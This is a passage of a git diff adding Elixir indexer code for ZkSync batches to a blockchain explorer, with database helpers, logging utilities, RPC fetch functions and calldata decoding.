:commit_transaction_hash, + :commit_timestamp, + :prove_transaction_hash, + :prove_timestamp, + :executed_transaction_hash, + :executed_timestamp + ] + + @doc """ + Deletes elements in the batch description map to prepare the batch for importing to + the database. + + ## Parameters + - `batch_with_json_fields`: a map describing a batch with elements that could remain + after downloading batch details from RPC. + + ## Returns + - A map describing the batch compatible with the database import operation. + """ + @spec prune_json_batch(map()) :: map() + def prune_json_batch(batch_with_json_fields) + when is_map(batch_with_json_fields) do + Map.drop(batch_with_json_fields, @json_batch_fields_absent_in_db_batch) + end + + @doc """ + Gets the oldest imported batch number. + + ## Parameters + - none + + ## Returns + - A batch number or `nil` if there are no batches in the database. + """ + @spec get_earliest_batch_number() :: nil | non_neg_integer() + def get_earliest_batch_number do + case Reader.oldest_available_batch_number() do + nil -> + log_warning("No batches found in DB") + nil + + value -> + value + end + end + + @doc """ + Gets the oldest imported batch number without an associated commitment L1 transaction. + + ## Parameters + - none + + ## Returns + - A batch number or `nil` in cases where there are no batches in the database or + all batches in the database are marked as committed. + """ + @spec get_earliest_sealed_batch_number() :: nil | non_neg_integer() + def get_earliest_sealed_batch_number do + case Reader.earliest_sealed_batch_number() do + nil -> + log_info("No uncommitted batches found in DB") + nil + + value -> + value + end + end + + @doc """ + Gets the oldest imported batch number without an associated proving L1 transaction. + + ## Parameters + - none + + ## Returns + - A batch number or `nil` in cases where there are no batches in the database or + all batches in the database are marked as proven. + """ + @spec get_earliest_unproven_batch_number() :: nil | non_neg_integer() + def get_earliest_unproven_batch_number do + case Reader.earliest_unproven_batch_number() do + nil -> + log_info("No unproven batches found in DB") + nil + + value -> + value + end + end + + @doc """ + Gets the oldest imported batch number without an associated executing L1 transaction. + + ## Parameters + - none + + ## Returns + - A batch number or `nil` in cases where there are no batches in the database or + all batches in the database are marked as executed. + """ + @spec get_earliest_unexecuted_batch_number() :: nil | non_neg_integer() + def get_earliest_unexecuted_batch_number do + case Reader.earliest_unexecuted_batch_number() do + nil -> + log_info("No not executed batches found in DB") + nil + + value -> + value + end + end + + @doc """ + Indexes L1 transactions provided in the input map. For transactions that + are already in the database, existing indices are taken. For new transactions, + the next available indices are assigned. + + ## Parameters + - `new_l1_transactions`: A map of L1 transaction descriptions. The keys of the map are + transaction hashes. + + ## Returns + - `l1_transactions`: A map of L1 transaction descriptions. Each element is extended with + the key `:id`, representing the index of the L1 transaction in the + `zksync_lifecycle_l1_transactions` table. + """ + @spec get_indices_for_l1_transactions(map()) :: any() + # TODO: consider a way to remove duplicate with Arbitrum.Utils.Db + # credo:disable-for-next-line Credo.Check.Design.DuplicatedCode + def get_indices_for_l1_transactions(new_l1_transactions) + when is_map(new_l1_transactions) do + # Get indices for l1 transactions previously handled + l1_transactions = + new_l1_transactions + |> Map.keys() + |> Reader.lifecycle_transactions() + |> Enum.reduce(new_l1_transactions, fn {hash, id}, transactions -> + {_, transactions} = + Map.get_and_update!(transactions, hash.bytes, fn l1_transaction -> + {l1_transaction, Map.put(l1_transaction, :id, id)} + end) + + transactions + end) + + # Get the next index for the first new transaction based + # on the indices existing in DB + l1_transaction_next_id = Reader.next_id() + + # Assign new indices for the transactions which are not in + # the l1 transactions table yet + {updated_l1_transactions, _} = + l1_transactions + |> Map.keys() + |> Enum.reduce( + {l1_transactions, l1_transaction_next_id}, + fn hash, {transactions, next_id} -> + transaction = transactions[hash] + id = Map.get(transaction, :id) + + if is_nil(id) do + {Map.put(transactions, hash, Map.put(transaction, :id, next_id)), next_id + 1} + else + {transactions, next_id} + end + end + ) + + updated_l1_transactions + end + + @doc """ + Imports provided lists of batches and their associations with L1 transactions, rollup blocks, + and transactions to the database. + + ## Parameters + - `batches`: A list of maps with batch descriptions. + - `l1_transactions`: A list of maps with L1 transaction descriptions. Optional. + - `l2_transactions`: A list of maps with rollup transaction associations. Optional. + - `l2_blocks`: A list of maps with rollup block associations. Optional. + + ## Returns + n/a + """ + def import_to_db(batches, l1_transactions \\ [], l2_transactions \\ [], l2_blocks \\ []) + when is_list(batches) and is_list(l1_transactions) and is_list(l2_transactions) and is_list(l2_blocks) do + {:ok, _} = + Chain.import(%{ + zksync_lifecycle_transactions: %{params: l1_transactions}, + zksync_transaction_batches: %{params: batches}, + zksync_batch_transactions: %{params: l2_transactions}, + zksync_batch_blocks: %{params: l2_blocks}, + timeout: :infinity + }) + end +end diff --git a/apps/indexer/lib/indexer/fetcher/zksync/utils/logging.ex b/apps/indexer/lib/indexer/fetcher/zksync/utils/logging.ex new file mode 100644 index 000000000000..eb7fe6058797 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/zksync/utils/logging.ex @@ -0,0 +1,143 @@ +defmodule Indexer.Fetcher.ZkSync.Utils.Logging do + @moduledoc """ + Common logging functions for Indexer.Fetcher.ZkSync fetchers + """ + require Logger + + @doc """ + A helper function to log a message with warning severity. Uses `Logger.warning` facility. + + ## Parameters + - `msg`: a message to log + + ## Returns + `:ok` + """ + @spec log_warning(any()) :: :ok + def log_warning(msg) do + Logger.warning(msg) + end + + @doc """ + A helper function to log a message with info severity. Uses `Logger.info` facility. + + ## Parameters + - `msg`: a message to log + + ## Returns + `:ok` + """ + @spec log_info(any()) :: :ok + def log_info(msg) do + Logger.info(msg) + end + + @doc """ + A helper function to log a message with error severity. Uses `Logger.error` facility. + + ## Parameters + - `msg`: a message to log + + ## Returns + `:ok` + """ + @spec log_error(any()) :: :ok + def log_error(msg) do + Logger.error(msg) + end + + @doc """ + A helper function to log progress when handling batches in chunks. + + ## Parameters + - `prefix`: A prefix for the logging message. + - `chunk`: A list of batch numbers in the current chunk. + - `current_progress`: The total number of batches handled up to this moment. + - `total`: The total number of batches across all chunks. + + ## Returns + `:ok` + + ## Examples: + - `log_details_chunk_handling("A message", [1, 2, 3], 0, 10)` produces + `A message for batches 1..3. Progress 30%` + - `log_details_chunk_handling("A message", [2], 1, 10)` produces + `A message for batch 2. Progress 20%` + - `log_details_chunk_handling("A message", [35], 0, 1)` produces + `A message for batch 35.` + - `log_details_chunk_handling("A message", [45, 50, 51, 52, 60], 1, 1)` produces + `A message for batches 45, 50..52, 60.` + """ + @spec log_details_chunk_handling(binary(), list(), non_neg_integer(), non_neg_integer()) :: :ok + def log_details_chunk_handling(prefix, chunk, current_progress, total) + when is_binary(prefix) and is_list(chunk) and (is_integer(current_progress) and current_progress >= 0) and + (is_integer(total) and total > 0) do + chunk_length = length(chunk) + + progress = + case chunk_length == total do + true -> + "" + + false -> + percentage = + (current_progress + chunk_length) + |> Decimal.div(total) + |> Decimal.mult(100) + |> Decimal.round(2) + |> Decimal.to_string() + + " Progress: #{percentage}%" + end + + if chunk_length == 1 do + log_info("#{prefix} for batch ##{Enum.at(chunk, 0)}.") + else + log_info("#{prefix} for batches #{Enum.join(shorten_numbers_list(chunk), ", ")}.#{progress}") + end + end + + # Transform list of numbers to the list of string where consequent values + # are combined to be displayed as a range. + # + # ## Parameters + # - `msg`: a message to log + # + # ## Returns + # `shorten_list` - resulting list after folding + # + # ## Examples: + # [1, 2, 3] => ["1..3"] + # [1, 3] => ["1", "3"] + # [1, 2] => ["1..2"] + # [1, 3, 4, 5] => ["1", "3..5"] + defp shorten_numbers_list(numbers_list) do + {shorten_list, _, _} = + numbers_list + |> Enum.sort() + |> Enum.reduce({[], nil, nil}, fn number, {shorten_list, prev_range_start, prev_number} -> + shorten_numbers_list_impl(number, shorten_list, prev_range_start, prev_number) + end) + |> then(fn {shorten_list, prev_range_start, prev_number} -> + shorten_numbers_list_impl(prev_number, shorten_list, prev_range_start, prev_number) + end) + + Enum.reverse(shorten_list) + end + + defp shorten_numbers_list_impl(number, shorten_list, prev_range_start, prev_number) do + cond do + is_nil(prev_number) -> + {[], number, number} + + prev_number + 1 != number and prev_range_start == prev_number -> + {["#{prev_range_start}" | shorten_list], number, number} + + prev_number + 1 != number -> + {["#{prev_range_start}..#{prev_number}" | shorten_list], number, number} + + true -> + {shorten_list, prev_range_start, number} + end + end +end diff --git a/apps/indexer/lib/indexer/fetcher/zksync/utils/rpc.ex b/apps/indexer/lib/indexer/fetcher/zksync/utils/rpc.ex new file mode 100644 index 000000000000..55afa4fb3d54 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/zksync/utils/rpc.ex @@ -0,0 +1,443 @@ +defmodule Indexer.Fetcher.ZkSync.Utils.Rpc do + @moduledoc """ + Common functions to handle RPC calls for Indexer.Fetcher.ZkSync fetchers + """ + + import EthereumJSONRPC, only: [json_rpc: 2, quantity_to_integer: 1] + + alias ABI.{FunctionSelector, TypeDecoder} + alias EthereumJSONRPC.ZkSync.Constants.Contracts, as: ZkSyncContracts + alias Explorer.Chain.Hash + alias Indexer.Helper, as: IndexerHelper + + import Indexer.Fetcher.ZkSync.Utils.Logging, only: [log_error: 1, log_info: 1] + + @zero_hash "0000000000000000000000000000000000000000000000000000000000000000" + @zero_hash_binary <<0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0>> + + @rpc_resend_attempts 20 + + def get_zero_hash do + @zero_hash + end + + def get_binary_zero_hash do + @zero_hash_binary + end + + @doc """ + Filters out logs from a list of transactions logs where topic #0 is `topic_0` and + builds a list of values located at position `position` in such logs. + + ## Parameters + - `logs`: The list of transaction logs to filter logs with a specific topic. + - `topic_0`: The value of topic #0 in the required logs. + - `position`: The topic number to be extracted from the topic lists of every log + and appended to the resulting list. + + ## Returns + - A list of values extracted from the required transaction logs. + - An empty list if no logs with the specified topic are found. + """ + @spec filter_logs_and_extract_topic_at(maybe_improper_list(), binary(), integer()) :: list() + def filter_logs_and_extract_topic_at(logs, topic_0, position) + when is_list(logs) and + is_binary(topic_0) and + (is_integer(position) and position >= 0 and position <= 3) do + logs + |> Enum.reduce([], fn log_entity, result -> + topics = log_entity["topics"] + + if Enum.at(topics, 0) == topic_0 do + [quantity_to_integer(Enum.at(topics, position)) | result] + else + result + end + end) + end + + defp from_iso8601_to_datetime(time_string) do + case is_nil(time_string) do + true -> + IndexerHelper.timestamp_to_datetime(0) + + false -> + case DateTime.from_iso8601(time_string) do + {:ok, datetime, _} -> + datetime + + {:error, _} -> + IndexerHelper.timestamp_to_datetime(0) + end + end + end + + defp json_transaction_id_to_hash(hash) do + case hash do + "0x" <> transaction_hash -> transaction_hash + nil -> @zero_hash + end + end + + defp string_hash_to_bytes_hash(hash) do + hash + |> json_transaction_id_to_hash() + |> Base.decode16!(case: :mixed) + end + + @doc """ + Transforms a map with batch data received from the `zks_getL1BatchDetails` call + into a map that can be used by Indexer.Fetcher.ZkSync fetchers for further handling. + All hexadecimal hashes are converted to their decoded binary representation, + Unix and ISO8601 timestamps are converted to DateTime objects. + + ## Parameters + - `json_response`: Raw data received from the JSON RPC call. + + ## Returns + - A map containing minimal information about the batch. `start_block` and `end_block` + elements are set to `nil`. + """ + @spec transform_batch_details_to_map(map()) :: map() + def transform_batch_details_to_map(json_response) + when is_map(json_response) do + %{ + "number" => {:number, :ok}, + "timestamp" => {:timestamp, :ts_to_datetime}, + "l1TxCount" => {:l1_transaction_count, :ok}, + "l2TxCount" => {:l2_transaction_count, :ok}, + "rootHash" => {:root_hash, :str_to_byteshash}, + "commitTxHash" => {:commit_transaction_hash, :str_to_byteshash}, + "committedAt" => {:commit_timestamp, :iso8601_to_datetime}, + "proveTxHash" => {:prove_transaction_hash, :str_to_byteshash}, + "provenAt" => {:prove_timestamp, :iso8601_to_datetime}, + "executeTxHash" => {:executed_transaction_hash, :str_to_byteshash}, + "executedAt" => {:executed_timestamp, :iso8601_to_datetime}, + "l1GasPrice" => {:l1_gas_price, :ok}, + "l2FairGasPrice" => {:l2_fair_gas_price, :ok} + # :start_block added by request_block_ranges_by_rpc + # :end_block added by request_block_ranges_by_rpc + } + |> Enum.reduce(%{start_block: nil, end_block: nil}, fn {key, {key_atom, transform_type}}, batch_details_map -> + value_in_json_response = Map.get(json_response, key) + + Map.put( + batch_details_map, + key_atom, + case transform_type do + :iso8601_to_datetime -> from_iso8601_to_datetime(value_in_json_response) + :ts_to_datetime -> IndexerHelper.timestamp_to_datetime(value_in_json_response) + :str_to_txhash -> json_transaction_id_to_hash(value_in_json_response) + :str_to_byteshash -> string_hash_to_bytes_hash(value_in_json_response) + _ -> value_in_json_response + end + ) + end) + end + + @doc """ + Transforms a map with batch data received from the database into a map that + can be used by Indexer.Fetcher.ZkSync fetchers for further handling. + + ## Parameters + - `batch`: A map containing a batch description received from the database. + + ## Returns + - A map containing simplified representation of the batch. Compatible with + the database import operation. + """ + def transform_transaction_batch_to_map(batch) + when is_map(batch) do + %{ + number: batch.number, + timestamp: batch.timestamp, + l1_transaction_count: batch.l1_transaction_count, + l2_transaction_count: batch.l2_transaction_count, + root_hash: batch.root_hash.bytes, + l1_gas_price: batch.l1_gas_price, + l2_fair_gas_price: batch.l2_fair_gas_price, + start_block: batch.start_block, + end_block: batch.end_block, + commit_id: batch.commit_id, + prove_id: batch.prove_id, + execute_id: batch.execute_id + } + end + + @doc """ + Retrieves batch details from the RPC endpoint using the `zks_getL1BatchDetails` call. + + ## Parameters + - `batch_number`: The batch number or identifier. + - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection. + + ## Returns + - A map containing minimal batch details. It includes `start_block` and `end_block` + elements, both set to `nil`. + """ + @spec fetch_batch_details_by_batch_number(binary() | non_neg_integer(), EthereumJSONRPC.json_rpc_named_arguments()) :: + map() + def fetch_batch_details_by_batch_number(batch_number, json_rpc_named_arguments) + when (is_integer(batch_number) or is_binary(batch_number)) and is_list(json_rpc_named_arguments) do + req = + EthereumJSONRPC.request(%{ + id: batch_number, + method: "zks_getL1BatchDetails", + params: [batch_number] + }) + + error_message = &"Cannot call zks_getL1BatchDetails. Error: #{inspect(&1)}" + + {:ok, resp} = + IndexerHelper.repeated_call(&json_rpc/2, [req, json_rpc_named_arguments], error_message, @rpc_resend_attempts) + + transform_batch_details_to_map(resp) + end + + @doc """ + Fetches transaction details from the RPC endpoint using the `eth_getTransactionByHash` call. + + ## Parameters + - `raw_hash`: The hash of the Ethereum transaction. It can be provided as a decoded binary + or hexadecimal string. + - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection. + + ## Returns + - A map containing details of the transaction. + """ + @spec fetch_transaction_by_hash(binary(), EthereumJSONRPC.json_rpc_named_arguments()) :: map() + def fetch_transaction_by_hash(raw_hash, json_rpc_named_arguments) + when is_binary(raw_hash) and is_list(json_rpc_named_arguments) do + {:ok, hash} = Hash.Full.cast(raw_hash) + + req = + EthereumJSONRPC.request(%{ + id: 0, + method: "eth_getTransactionByHash", + params: [hash] + }) + + error_message = &"Cannot call eth_getTransactionByHash for hash #{hash}. Error: #{inspect(&1)}" + + {:ok, resp} = + IndexerHelper.repeated_call(&json_rpc/2, [req, json_rpc_named_arguments], error_message, @rpc_resend_attempts) + + resp + end + + @doc """ + Fetches the transaction receipt from the RPC endpoint using the `eth_getTransactionReceipt` call. + + ## Parameters + - `raw_hash`: The hash of the Ethereum transaction. It can be provided as a decoded binary + or hexadecimal string. + - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection. + + ## Returns + - A map containing the receipt details of the transaction. + """ + @spec fetch_transaction_receipt_by_hash(binary(), EthereumJSONRPC.json_rpc_named_arguments()) :: map() + def fetch_transaction_receipt_by_hash(raw_hash, json_rpc_named_arguments) + when is_binary(raw_hash) and is_list(json_rpc_named_arguments) do + {:ok, hash} = Hash.Full.cast(raw_hash) + + req = + EthereumJSONRPC.request(%{ + id: 0, + method: "eth_getTransactionReceipt", + params: [hash] + }) + + error_message = &"Cannot call eth_getTransactionReceipt for hash #{hash}. Error: #{inspect(&1)}" + + {:ok, resp} = + IndexerHelper.repeated_call(&json_rpc/2, [req, json_rpc_named_arguments], error_message, @rpc_resend_attempts) + + resp + end + + @doc """ + Fetches the latest sealed batch number from the RPC endpoint using the `zks_L1BatchNumber` call. + + ## Parameters + - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection. + + ## Returns + - A non-negative integer representing the latest sealed batch number. + """ + @spec fetch_latest_sealed_batch_number(EthereumJSONRPC.json_rpc_named_arguments()) :: nil | non_neg_integer() + def fetch_latest_sealed_batch_number(json_rpc_named_arguments) + when is_list(json_rpc_named_arguments) do + req = EthereumJSONRPC.request(%{id: 0, method: "zks_L1BatchNumber", params: []}) + + error_message = &"Cannot call zks_L1BatchNumber. Error: #{inspect(&1)}" + + {:ok, resp} = + IndexerHelper.repeated_call(&json_rpc/2, [req, json_rpc_named_arguments], error_message, @rpc_resend_attempts) + + quantity_to_integer(resp) + end + + @doc """ + Fetches block details using multiple `eth_getBlockByNumber` RPC calls. + + ## Parameters + - `requests_list`: A list of `EthereumJSONRPC.Transport.request()` representing multiple + `eth_getBlockByNumber` RPC calls for different block numbers. + - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection. + + ## Returns + - A list of responses containing details of the requested blocks. + """ + @spec fetch_blocks_details([EthereumJSONRPC.Transport.request()], EthereumJSONRPC.json_rpc_named_arguments()) :: + list() + def fetch_blocks_details(requests_list, json_rpc_named_arguments) + + def fetch_blocks_details([], _) do + [] + end + + def fetch_blocks_details(requests_list, json_rpc_named_arguments) + when is_list(requests_list) and is_list(json_rpc_named_arguments) do + error_message = &"Cannot call eth_getBlockByNumber. Error: #{inspect(&1)}" + + {:ok, responses} = + IndexerHelper.repeated_call( + &json_rpc/2, + [requests_list, json_rpc_named_arguments], + error_message, + @rpc_resend_attempts + ) + + responses + end + + @doc """ + Fetches batches details using multiple `zks_getL1BatchDetails` RPC calls. + + ## Parameters + - `requests_list`: A list of `EthereumJSONRPC.Transport.request()` representing multiple + `zks_getL1BatchDetails` RPC calls for different block numbers. + - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection. + + ## Returns + - A list of responses containing details of the requested batches. + """ + @spec fetch_batches_details([EthereumJSONRPC.Transport.request()], EthereumJSONRPC.json_rpc_named_arguments()) :: + list() + def fetch_batches_details(requests_list, json_rpc_named_arguments) + + def fetch_batches_details([], _) do + [] + end + + def fetch_batches_details(requests_list, json_rpc_named_arguments) + when is_list(requests_list) and is_list(json_rpc_named_arguments) do + error_message = &"Cannot call zks_getL1BatchDetails. Error: #{inspect(&1)}" + + {:ok, responses} = + IndexerHelper.repeated_call( + &json_rpc/2, + [requests_list, json_rpc_named_arguments], + error_message, + @rpc_resend_attempts + ) + + responses + end + + @doc """ + Fetches block ranges included in the specified batches by using multiple + `zks_getL1BatchBlockRange` RPC calls. + + ## Parameters + - `requests_list`: A list of `EthereumJSONRPC.Transport.request()` representing multiple + `zks_getL1BatchBlockRange` RPC calls for different batch numbers. + - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection. + + ## Returns + - A list of responses containing block ranges associated with the requested batches. + """ + @spec fetch_blocks_ranges([EthereumJSONRPC.Transport.request()], EthereumJSONRPC.json_rpc_named_arguments()) :: + list() + def fetch_blocks_ranges(requests_list, json_rpc_named_arguments) + + def fetch_blocks_ranges([], _) do + [] + end + + def fetch_blocks_ranges(requests_list, json_rpc_named_arguments) + when is_list(requests_list) and is_list(json_rpc_named_arguments) do + error_message = &"Cannot call zks_getL1BatchBlockRange. Error: #{inspect(&1)}" + + {:ok, responses} = + IndexerHelper.repeated_call( + &json_rpc/2, + [requests_list, json_rpc_named_arguments], + error_message, + @rpc_resend_attempts + ) + + responses + end + + @doc """ + Extracts batch numbers from the calldata of a proof transaction. + + ## Parameters + - `calldata`: The calldata from the parent chain transaction + + ## Returns + - A list of batch numbers that were proven by the transaction + """ + @spec get_proven_batches_from_calldata(binary()) :: [non_neg_integer()] + def get_proven_batches_from_calldata(calldata) do + proven_batches = + case calldata do + "0x7f61885c" <> encoded_params -> + [_prev_batch, proven_batches, _proof] = + decode_params(encoded_params, ZkSyncContracts.prove_batches_selector_with_abi()) + + extract_batch_numbers(proven_batches) + + # Pre-v26 proveBatchesSharedBridge + "0xc37533bb" <> encoded_params -> + [_chainid, _prev_batch, proven_batches, _proof] = + decode_params(encoded_params, ZkSyncContracts.prove_batches_shared_bridge_c37533bb_selector_with_abi()) + + extract_batch_numbers(proven_batches) + + # v26+ proveBatchesSharedBridge + "0xe12a6137" <> encoded_params -> + [_chainid, process_from, process_to, _proof_data] = + decode_params(encoded_params, ZkSyncContracts.prove_batches_shared_bridge_e12a6137_selector_with_abi()) + + Enum.to_list(process_from..process_to) + + _ -> + log_error("Unknown calldata format: #{calldata}") + + [] + end + + log_info("Discovered #{length(proven_batches)} proven batches in the prove transaction") + + proven_batches + end + + # Decodes encoded parameters using the provided function selector. + # credo:disable-for-next-line Credo.Check.Warning.SpecWithStruct + @spec decode_params(binary(), %FunctionSelector{}) :: list() + defp decode_params(encoded_params, function_selector) do + encoded_params + |> Base.decode16!(case: :lower) + |> TypeDecoder.decode(function_selector) + end + + # Extracts batch numbers from a list of StoredBatchInfo tuples. + @spec extract_batch_numbers([any()]) :: [non_neg_integer()] + defp extract_batch_numbers(proven_batches) do + proven_batches + |> Enum.map(fn batch_info -> elem(batch_info, 0) end) + end +end diff --git a/apps/indexer/lib/indexer/helper.ex b/apps/indexer/lib/indexer/helper.ex new file mode 100644 index 000000000000..ec46bf216c2b --- /dev/null +++ b/apps/indexer/lib/indexer/helper.ex @@ -0,0 +1,978 @@ +defmodule Indexer.Helper do + @moduledoc """ + Auxiliary common functions for indexers. + """ + + require Logger + + import EthereumJSONRPC, + only: [ + fetch_block_number_by_tag: 2, + id_to_params: 1, + integer_to_quantity: 1, + json_rpc: 2, + quantity_to_integer: 1, + request: 1 + ] + + import Explorer.Helper, only: [hash_to_binary: 1] + + alias EthereumJSONRPC.Block.{ByNumber, ByTag} + alias EthereumJSONRPC.{Blocks, Transport} + alias Explorer.Chain.Beacon.Blob, as: BeaconBlob + alias Explorer.Chain.Cache.LatestL1BlockNumber + alias Explorer.Chain.Hash + alias Explorer.SmartContract.Reader, as: ContractReader + alias Indexer.Fetcher.Beacon.Blob, as: BeaconBlobFetcher + alias Indexer.Fetcher.Beacon.Client, as: BeaconClient + + @finite_retries_number 3 + @infinite_retries_number 100_000_000 + @block_check_interval_range_size 100 + @block_by_number_chunk_size 50 + + @beacon_blob_fetcher_reference_slot_eth 8_500_000 + @beacon_blob_fetcher_reference_timestamp_eth 1_708_824_023 + @beacon_blob_fetcher_reference_slot_sepolia 4_400_000 + @beacon_blob_fetcher_reference_timestamp_sepolia 1_708_533_600 + @beacon_blob_fetcher_reference_slot_holesky 1_000_000 + @beacon_blob_fetcher_reference_timestamp_holesky 1_707_902_400 + @beacon_blob_fetcher_slot_duration 12 + @chain_id_eth 1 + @chain_id_sepolia 11_155_111 + @chain_id_holesky 17000 + + @doc """ + Checks whether the given Ethereum address looks correct. + The address should begin with 0x prefix and then contain 40 hexadecimal digits (can be in mixed case). + This function doesn't check if the address is checksummed. + """ + @spec address_correct?(binary()) :: boolean() + def address_correct?(address) when is_binary(address) do + String.match?(address, ~r/^0x[[:xdigit:]]{40}$/i) + end + + def address_correct?(_address) do + false + end + + @doc """ + Converts Explorer.Chain.Hash representation of the given address to a string + beginning with 0x prefix. If the given address is already a string, it is not modified. + The second argument forces the result to be downcased. + """ + @spec address_hash_to_string(binary(), boolean()) :: binary() + def address_hash_to_string(hash, downcase \\ false) + + def address_hash_to_string(hash, downcase) when is_binary(hash) do + if downcase do + String.downcase(hash) + else + hash + end + end + + def address_hash_to_string(hash, downcase) do + if downcase do + String.downcase(Hash.to_string(hash)) + else + Hash.to_string(hash) + end + end + + @doc """ + Converts a Unix timestamp to a `DateTime`. + + If the given timestamp is `nil` or `0`, it returns the Unix epoch start. + If the conversion fails, it also returns the Unix epoch start. + + ## Parameters + - `time_ts`: A non-negative integer representing the Unix timestamp or `nil`. + + ## Returns + - A `DateTime` corresponding to the given Unix timestamp, or the Unix epoch start if + the timestamp is `nil`, `0`, or if the conversion fails. + """ + @spec timestamp_to_datetime(non_neg_integer() | nil) :: DateTime.t() + def timestamp_to_datetime(time_ts) do + {_, unix_epoch_starts} = DateTime.from_unix(0) + + case is_nil(time_ts) or time_ts == 0 do + true -> + unix_epoch_starts + + false -> + case DateTime.from_unix(time_ts) do + {:ok, datetime} -> + datetime + + {:error, _} -> + unix_epoch_starts + end + end + end + + @doc """ + Calculates average block time in milliseconds (based on the latest 100 blocks) divided by 2. + Sends corresponding requests to the RPC node. + Returns a tuple {:ok, block_check_interval, last_safe_block} + where `last_safe_block` is the number of the recent `safe` or `latest` block (depending on which one is available). + Returns {:error, description} in case of error. + """ + @spec get_block_check_interval(list()) :: {:ok, non_neg_integer(), non_neg_integer()} | {:error, any()} + def get_block_check_interval(json_rpc_named_arguments) do + {last_safe_block, _} = get_safe_block(json_rpc_named_arguments) + + first_block = max(last_safe_block - @block_check_interval_range_size, 1) + + with {:ok, first_block_timestamp} <- + get_block_timestamp_by_number_or_tag(first_block, json_rpc_named_arguments, @infinite_retries_number), + {:ok, last_safe_block_timestamp} <- + get_block_timestamp_by_number_or_tag(last_safe_block, json_rpc_named_arguments, @infinite_retries_number) do + block_check_interval = + ceil((last_safe_block_timestamp - first_block_timestamp) / (last_safe_block - first_block) * 1000 / 2) + + Logger.info("Block check interval is calculated as #{block_check_interval} ms.") + {:ok, block_check_interval, last_safe_block} + else + {:error, error} -> + {:error, "Failed to calculate block check interval due to #{inspect(error)}"} + end + end + + @doc """ + Retrieves the safe block if the endpoint supports such an interface; otherwise, it requests the latest block. + + ## Parameters + - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection. + + ## Returns + `{block_number, latest}`: A tuple where + - `block_number` is the safe or latest block number. + - `latest` is a boolean, where `true` indicates that `block_number` is the latest block number fetched using the tag `latest`. + """ + @spec get_safe_block(EthereumJSONRPC.json_rpc_named_arguments()) :: {non_neg_integer(), boolean()} + def get_safe_block(json_rpc_named_arguments) do + case get_block_number_by_tag("safe", json_rpc_named_arguments) do + {:ok, safe_block} -> + {safe_block, false} + + {:error, _} -> + {:ok, latest_block} = get_block_number_by_tag("latest", json_rpc_named_arguments, @infinite_retries_number) + + {latest_block, true} + end + end + + @doc """ + Fetches block number by its tag (e.g. `latest` or `safe`) using RPC request. + Performs a specified number of retries (up to) if the first attempt returns error. + """ + @spec get_block_number_by_tag(binary(), list(), non_neg_integer()) :: {:ok, non_neg_integer()} | {:error, atom()} + def get_block_number_by_tag(tag, json_rpc_named_arguments, retries \\ @finite_retries_number) do + error_message = &"Cannot fetch #{tag} block number. Error: #{inspect(&1)}" + repeated_call(&fetch_block_number_by_tag/2, [tag, json_rpc_named_arguments], error_message, retries) + end + + @doc """ + Fetches transaction data by its hash using RPC request. + Performs a specified number of retries (up to) if the first attempt returns error. + """ + @spec get_transaction_by_hash(binary() | nil, list(), non_neg_integer()) :: {:ok, any()} | {:error, any()} + def get_transaction_by_hash(hash, json_rpc_named_arguments, retries_left \\ @finite_retries_number) + + def get_transaction_by_hash(hash, _json_rpc_named_arguments, _retries_left) when is_nil(hash), do: {:ok, nil} + + def get_transaction_by_hash(hash, json_rpc_named_arguments, retries) do + req = + request(%{ + id: 0, + method: "eth_getTransactionByHash", + params: [hash] + }) + + error_message = &"eth_getTransactionByHash failed. Error: #{inspect(&1)}" + + repeated_call(&json_rpc/2, [req, json_rpc_named_arguments], error_message, retries) + end + + @doc """ + Returns a number of attempts for RPC requests sending by indexer modules. + The number is defined by @finite_retries_number attribute. + """ + @spec finite_retries_number() :: non_neg_integer() + def finite_retries_number do + @finite_retries_number + end + + @doc """ + Returns a big number of attempts for RPC requests sending by indexer modules + (simulating an infinite number of attempts). The number is defined by + @infinite_retries_number attribute. + """ + @spec infinite_retries_number() :: non_neg_integer() + def infinite_retries_number do + @infinite_retries_number + end + + @doc """ + Forms JSON RPC named arguments for the given RPC URL. + """ + @spec json_rpc_named_arguments(binary()) :: list() + def json_rpc_named_arguments(rpc_url) do + [ + transport: EthereumJSONRPC.HTTP, + transport_options: [ + http: EthereumJSONRPC.HTTP.Tesla, + urls: [rpc_url], + http_options: [ + recv_timeout: :timer.minutes(10), + timeout: :timer.minutes(10), + pool: :ethereum_jsonrpc + ] + ] + ] + end + + @doc """ + Splits a given range into chunks of the specified size. + + ## Parameters + - `range`: The range to be split into chunks. + - `chunk_size`: The size of each chunk. + + ## Returns + - A stream of ranges, each representing a chunk of the specified size. + + ## Examples + + iex> Indexer.Helper.range_chunk_every(1..10, 3) + #Stream<...> + + iex> Enum.to_list(Indexer.Helper.range_chunk_every(1..10, 3)) + [1..3, 4..6, 7..9, 10..10] + """ + @spec range_chunk_every(Range.t(), non_neg_integer()) :: Enum.t() + def range_chunk_every(from..to//_, chunk_size) do + chunks_number = floor((to - from + 1) / chunk_size) + + 0..chunks_number + |> Stream.map(fn current_chunk -> + chunk_start = from + chunk_size * current_chunk + chunk_end = min(chunk_start + chunk_size - 1, to) + chunk_start..chunk_end + end) + end + + @doc """ + Retrieves event logs from Ethereum-like blockchains within a specified block + range for a given address and set of topics using JSON-RPC. + + ## Parameters + - `from_block`: The starting block number (integer or hexadecimal string) for the log search. + - `to_block`: The ending block number (integer or hexadecimal string) for the log search. + - `address`: The address of the contract to filter logs from. + - `topics`: List of topics to filter the logs. The list represents each topic as follows: + [topic0, topic1, topic2, topic3]. The `topicN` can be either some value or + a list of possible values, e.g.: [[topic0_1, topic0_2], topic1, topic2, topic3]. + If a topic is omitted or `nil`, it doesn't take part in the logs filtering. + - `json_rpc_named_arguments`: Configuration for the JSON-RPC call. + - `id`: (optional) JSON-RPC request identifier, defaults to 0. + - `retries`: (optional) Number of retry attempts if the request fails, defaults to 3. + + ## Returns + - `{:ok, logs}` on successful retrieval of logs. + - `{:error, reason}` if the request 